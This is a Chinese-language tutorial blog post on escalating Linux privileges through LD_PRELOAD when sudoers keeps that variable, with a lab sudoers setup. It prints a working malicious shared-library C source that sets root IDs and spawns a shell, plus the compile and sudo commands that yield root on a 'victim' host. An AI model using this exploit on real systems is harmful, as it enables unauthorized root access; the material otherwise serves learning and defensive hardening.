zoukankan      html  css  js  c++  java
  • 使用LD_Preload的Linux权限升级技巧

     

    0x00 前言

    共享库是程序在启动时加载的库。正确安装共享库后,之后启动的所有程序将自动使用新的共享库。

    0x01 共享库名称

    每个共享库都有一个名为soname的特殊名称。soname有前缀lib,库的后缀名为.so,后跟句号和版本号。

    动态链接器可以通过运行一些动态链接的程序或共享对象来间接运行。程序ld.so和ld linux.so*查找并加载程序所需的共享对象(共享库),准备程序执行,然后运行它。(从这里

    LD_Preload:它是一个环境变量,它列出了共享库,其中包含重写标准集的函数,就像/etc/ld.so.preload一样。这些是由loader/lib/ld-linux实现的

    想了解更多信息,请阅读此处

    0x02 实验设置

    日志用户必须拥有一些sudo权限,这一点很重要,因此,我们已经赋予sudo用户一些sudo权限,例如由sudo用户执行的/usr/bin/find。但除此之外,还有一些默认配置,您可以在其中设置一个环境变量作为sudo

    为此,请按照以下步骤操作:

    • 输入visudo打开/etc/sudoers文件
    • 现在赋予一个用户一些sudo权限,在我们的例子中,“raj”将成为sudoers的成员
    raj  ALL=(ALL:ALL) NOPASSWD: /usr/bin/find
    • 然后添加以下内容作为默认配置来设置LD_preload的环境。
     Defaults        env_keep += LD_PRELOAD

    0x03 权限升级 

    要利用此类漏洞,我们需要立即攻击受害者的主机,然后进入到权限提升阶段。假设你现在通过ssh成功登录到受害者的主机上,利用sudo -l命令来检测它并获取利用信息。注意突出显示的环境变量将作为sudo运行环境。

    让我们在/tmp目录中生成一个C程序文件。

    #include <stdio.h>
    #include <sys/types.h>
    #include <stdlib.h>
    void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
    }

    然后将其保存为/cmp中的shell.c

    如上所述,让我们编译它以生成一个带有.so扩展名的共享对象,同样在Windows操作系统中使用.dll文件,因此输入以下内容:

    gcc -fPIC -shared -o shell.so shell.c -nostartfiles
    ls -al shell.so
    sudo LD_PRELOAD=/tmp/shell.so find
    id
    whoami

    非常好,我们获得了ROOT访问权限。

     
  • 相关阅读:
    Supermap全面接触
    期末小结(二).应用技术
    发展需要大师,繁荣更需批评——GIS现状堪忧
    期末小结(三).我是玻璃缸里的鱼
    地信空间数据库实习讲稿(Oracle spatial)
    .net会取代JavaScript
    空间聚类(等回来之后完成)
    .Net Windows服务安装完成后自动启动
    规划网站,本教程将以图示为例构建网站;
    漫谈CSS和页面布局
  • 原文地址:https://www.cnblogs.com/backlion/p/10503985.html
Copyright © 2011-2022 走看看